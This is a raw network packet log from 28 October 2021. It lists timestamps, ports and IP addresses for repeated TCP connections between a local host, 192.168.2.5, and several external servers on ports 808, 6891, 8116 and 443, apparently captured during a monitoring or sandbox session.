Oct 28, 2021 04:51:42.487710953 CEST	808	49841	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:42.491862059 CEST	808	49841	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:42.491889954 CEST	808	49841	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:42.491911888 CEST	808	49841	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:42.491935968 CEST	808	49841	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:42.586121082 CEST	808	49844	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:42.586263895 CEST	49844	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:42.586965084 CEST	49844	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:42.745553970 CEST	808	49844	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:42.745585918 CEST	808	49844	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:42.745691061 CEST	49844	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:42.746241093 CEST	49844	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:42.752230883 CEST	49844	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:42.752352953 CEST	49844	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:42.880812883 CEST	808	49841	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:42.880868912 CEST	808	49841	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:42.880975008 CEST	49841	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:42.881326914 CEST	49841	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:42.884057045 CEST	49841	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:42.904675961 CEST	808	49844	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:42.910773039 CEST	808	49844	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:42.910799980 CEST	808	49844	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:42.910815001 CEST	808	49844	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:43.005250931 CEST	49845	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:43.044542074 CEST	808	49841	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:43.170793056 CEST	6891	49845	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:43.170917034 CEST	49845	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:43.171483994 CEST	49845	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:43.300477982 CEST	808	49844	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:43.300503969 CEST	808	49844	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:43.300559044 CEST	49844	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:43.300605059 CEST	49844	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:43.306175947 CEST	49844	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:43.336765051 CEST	6891	49845	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:43.336807966 CEST	6891	49845	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:43.336904049 CEST	49845	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:43.337450027 CEST	49845	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:43.342334032 CEST	49845	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:43.342467070 CEST	49845	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:43.431232929 CEST	49846	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:43.464637041 CEST	808	49844	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:43.507596016 CEST	6891	49845	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:43.507707119 CEST	6891	49845	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:43.597573996 CEST	6891	49846	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:43.597682953 CEST	49846	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:43.598345995 CEST	49846	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:43.764466047 CEST	6891	49846	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:43.764540911 CEST	6891	49846	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:43.764627934 CEST	49846	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:43.765213966 CEST	49846	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:43.768976927 CEST	49846	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:43.769052982 CEST	49846	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:43.893160105 CEST	6891	49845	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:43.893179893 CEST	6891	49845	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:43.893264055 CEST	49845	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:43.895328045 CEST	49845	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:43.937927961 CEST	6891	49846	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:43.937953949 CEST	6891	49846	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:44.060503006 CEST	6891	49845	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:44.082303047 CEST	49847	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:44.135181904 CEST	8116	49847	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:44.137104034 CEST	49847	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:44.137701988 CEST	49847	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:44.190356016 CEST	8116	49847	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:44.190653086 CEST	8116	49847	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:44.190728903 CEST	49847	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:44.191168070 CEST	49847	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:44.195385933 CEST	49847	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:44.195472002 CEST	49847	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:44.248131037 CEST	8116	49847	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:44.248167038 CEST	8116	49847	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:44.248920918 CEST	8116	49847	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:44.313900948 CEST	6891	49846	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:44.313925982 CEST	6891	49846	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:44.314033031 CEST	49846	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:44.314064980 CEST	49846	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:44.319833040 CEST	49846	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:44.420994043 CEST	8116	49847	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:44.421024084 CEST	8116	49847	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:44.423535109 CEST	49847	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:44.423572063 CEST	49847	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:44.426688910 CEST	49847	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:44.465404987 CEST	49848	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:44.479435921 CEST	8116	49847	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:44.485990047 CEST	6891	49846	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:44.518275023 CEST	8116	49848	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:44.518373013 CEST	49848	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:44.519085884 CEST	49848	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:44.536359072 CEST	49849	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:44.536398888 CEST	443	49849	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:44.537122011 CEST	49849	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:44.537585020 CEST	49849	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:44.537595034 CEST	443	49849	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:44.571708918 CEST	8116	49848	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:44.572036982 CEST	8116	49848	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:44.572173119 CEST	49848	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:44.572684050 CEST	49848	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:44.576368093 CEST	49848	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:44.576474905 CEST	49848	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:44.629087925 CEST	8116	49848	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:44.629718065 CEST	8116	49848	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:44.797391891 CEST	8116	49848	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:44.797421932 CEST	8116	49848	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:44.797512054 CEST	49848	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:44.803411007 CEST	49848	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:44.856018066 CEST	8116	49848	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:44.911644936 CEST	49850	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:44.911705971 CEST	443	49850	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:44.911803961 CEST	49850	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:44.912287951 CEST	49850	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:44.912307978 CEST	443	49850	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:45.060550928 CEST	443	49849	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:45.060693979 CEST	49849	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:45.061381102 CEST	49849	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:45.061394930 CEST	443	49849	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:45.081547976 CEST	49849	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:45.081563950 CEST	443	49849	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:45.081674099 CEST	49849	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:45.081681013 CEST	443	49849	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:45.429301977 CEST	443	49850	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:45.429543018 CEST	49850	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:45.430460930 CEST	49850	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:45.430480003 CEST	443	49850	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:45.436419010 CEST	49850	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:45.436470032 CEST	443	49850	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:45.436542988 CEST	49850	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:45.436558962 CEST	443	49850	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:45.795483112 CEST	443	49849	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:45.795579910 CEST	443	49849	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:45.795701981 CEST	49849	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:45.798114061 CEST	49849	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:45.798136950 CEST	443	49849	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:45.911686897 CEST	49851	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:46.073736906 CEST	808	49851	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:46.074791908 CEST	49851	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:46.075522900 CEST	49851	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:46.140724897 CEST	443	49850	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:46.140824080 CEST	443	49850	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:46.140959978 CEST	49850	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:46.149041891 CEST	49850	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:46.149081945 CEST	443	49850	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:46.237384081 CEST	808	49851	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:46.237524033 CEST	808	49851	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:46.237631083 CEST	49851	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:46.238471031 CEST	49851	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:46.242017031 CEST	49851	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:46.242135048 CEST	49851	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:46.275588989 CEST	49852	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:46.403923035 CEST	808	49851	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:46.407119036 CEST	808	49851	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:46.407156944 CEST	808	49851	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:46.407174110 CEST	808	49851	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:46.438565016 CEST	808	49852	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:46.441437960 CEST	49852	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:46.442225933 CEST	49852	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:46.602125883 CEST	808	49852	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:46.602238894 CEST	808	49852	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:46.602417946 CEST	49852	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:46.602871895 CEST	49852	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:46.605623007 CEST	49852	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:46.605701923 CEST	49852	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:46.762846947 CEST	808	49852	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:46.765661955 CEST	808	49852	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:46.765690088 CEST	808	49852	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:46.765706062 CEST	808	49852	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:46.765721083 CEST	808	49852	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:46.780817986 CEST	808	49851	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:46.780867100 CEST	808	49851	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:46.780915976 CEST	49851	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:46.780960083 CEST	49851	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:46.783746004 CEST	49851	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:46.896265984 CEST	49853	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:46.945698977 CEST	808	49851	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:47.062712908 CEST	6891	49853	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:47.062822104 CEST	49853	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:47.063410997 CEST	49853	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:47.149110079 CEST	808	49852	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:47.149138927 CEST	808	49852	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:47.149313927 CEST	49852	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:47.158235073 CEST	49852	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:47.229548931 CEST	6891	49853	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:47.229631901 CEST	6891	49853	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:47.229752064 CEST	49853	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:47.230324030 CEST	49853	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:47.236232042 CEST	49853	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:47.236546993 CEST	49853	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:47.277430058 CEST	49854	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:47.317826033 CEST	808	49852	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:47.402857065 CEST	6891	49853	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:47.402874947 CEST	6891	49853	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:47.403021097 CEST	6891	49853	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:47.443675041 CEST	6891	49854	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:47.444834948 CEST	49854	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:47.445463896 CEST	49854	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:47.612266064 CEST	6891	49854	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:47.612304926 CEST	6891	49854	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:47.612386942 CEST	49854	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:47.612790108 CEST	49854	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:47.615523100 CEST	49854	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:47.615618944 CEST	49854	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:47.780966997 CEST	6891	49854	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:47.781028986 CEST	6891	49854	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:47.781069040 CEST	6891	49854	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:47.800785065 CEST	6891	49853	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:47.800822020 CEST	6891	49853	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:47.800901890 CEST	49853	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:47.800945044 CEST	49853	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:47.803977013 CEST	49853	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:47.911948919 CEST	49855	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:47.964770079 CEST	8116	49855	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:47.964922905 CEST	49855	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:47.965639114 CEST	49855	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:47.970237970 CEST	6891	49853	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:48.018841028 CEST	8116	49855	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:48.019062042 CEST	8116	49855	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:48.019141912 CEST	49855	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:48.019522905 CEST	49855	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:48.022949934 CEST	49855	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:48.023027897 CEST	49855	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:48.075633049 CEST	8116	49855	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:48.075850964 CEST	8116	49855	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:48.178478003 CEST	6891	49854	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:48.178580046 CEST	49854	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:48.178586006 CEST	6891	49854	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:48.178634882 CEST	49854	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:48.187068939 CEST	49854	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:48.248709917 CEST	8116	49855	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:48.248747110 CEST	8116	49855	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:48.248804092 CEST	49855	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:48.248831034 CEST	49855	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:48.252305031 CEST	49855	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:48.303893089 CEST	49856	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:48.304945946 CEST	8116	49855	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:48.352509975 CEST	6891	49854	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:48.355705023 CEST	8116	49856	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:48.355799913 CEST	49856	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:48.356487989 CEST	49856	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:48.365572929 CEST	49857	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:48.365618944 CEST	443	49857	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:48.365701914 CEST	49857	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:48.366538048 CEST	49857	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:48.366553068 CEST	443	49857	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:48.408097982 CEST	8116	49856	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:48.408303976 CEST	8116	49856	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:48.408363104 CEST	49856	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:48.410057068 CEST	49856	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:48.414025068 CEST	49856	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:48.414129019 CEST	49856	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:48.465811014 CEST	8116	49856	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:48.465846062 CEST	8116	49856	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:48.664366007 CEST	8116	49856	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:48.664401054 CEST	8116	49856	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:48.664455891 CEST	49856	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:48.664493084 CEST	49856	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:48.672816038 CEST	49856	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:48.724601030 CEST	8116	49856	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:48.789611101 CEST	49858	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:48.789649963 CEST	443	49858	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:48.789757967 CEST	49858	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:48.790196896 CEST	49858	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:48.790210009 CEST	443	49858	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:48.913723946 CEST	443	49857	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:48.915656090 CEST	49857	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:48.916192055 CEST	49857	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:48.916212082 CEST	443	49857	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:48.920869112 CEST	49857	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:48.920892954 CEST	443	49857	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:48.920942068 CEST	49857	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:48.920953989 CEST	443	49857	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:49.328933954 CEST	443	49858	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:49.331990004 CEST	49858	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:49.332611084 CEST	49858	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:49.332621098 CEST	443	49858	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:49.337608099 CEST	49858	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:49.337629080 CEST	443	49858	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:49.337718010 CEST	49858	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:49.337724924 CEST	443	49858	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:49.635304928 CEST	443	49857	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:49.635387897 CEST	443	49857	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:49.635430098 CEST	49857	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:49.635457993 CEST	49857	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:49.638818979 CEST	49857	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:49.638839960 CEST	443	49857	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:49.755687952 CEST	49860	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:49.914889097 CEST	808	49860	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:49.918000937 CEST	49860	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:49.919572115 CEST	49860	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:50.043545008 CEST	443	49858	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:50.043612003 CEST	443	49858	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:50.043653965 CEST	49858	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:50.043739080 CEST	49858	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:50.049915075 CEST	49858	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:50.049942017 CEST	443	49858	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:50.078685045 CEST	808	49860	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:50.078809977 CEST	808	49860	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:50.080446005 CEST	49860	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:50.080889940 CEST	49860	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:50.084388018 CEST	49860	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:50.084474087 CEST	49860	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:50.166815996 CEST	49861	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:50.239891052 CEST	808	49860	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:50.243468046 CEST	808	49860	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:50.243505001 CEST	808	49860	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:50.243525982 CEST	808	49860	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:50.243547916 CEST	808	49860	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:50.329839945 CEST	808	49861	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:50.332046986 CEST	49861	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:50.332783937 CEST	49861	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:50.495533943 CEST	808	49861	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:50.495673895 CEST	808	49861	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:50.495898008 CEST	49861	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:50.496565104 CEST	49861	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:50.500556946 CEST	49861	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:50.500689030 CEST	49861	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:50.620074034 CEST	808	49860	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:50.620109081 CEST	808	49860	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:50.620196104 CEST	49860	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:50.620244026 CEST	49860	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:50.623971939 CEST	49860	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:50.659337997 CEST	808	49861	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:50.663496017 CEST	808	49861	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:50.663630962 CEST	808	49861	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:50.663655043 CEST	808	49861	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:50.663739920 CEST	808	49861	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:50.663840055 CEST	808	49861	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:50.740057945 CEST	49865	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:50.783117056 CEST	808	49860	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:50.908263922 CEST	6891	49865	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:50.908379078 CEST	49865	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:50.910203934 CEST	49865	6891	192.168.2.5	45.77.0.96
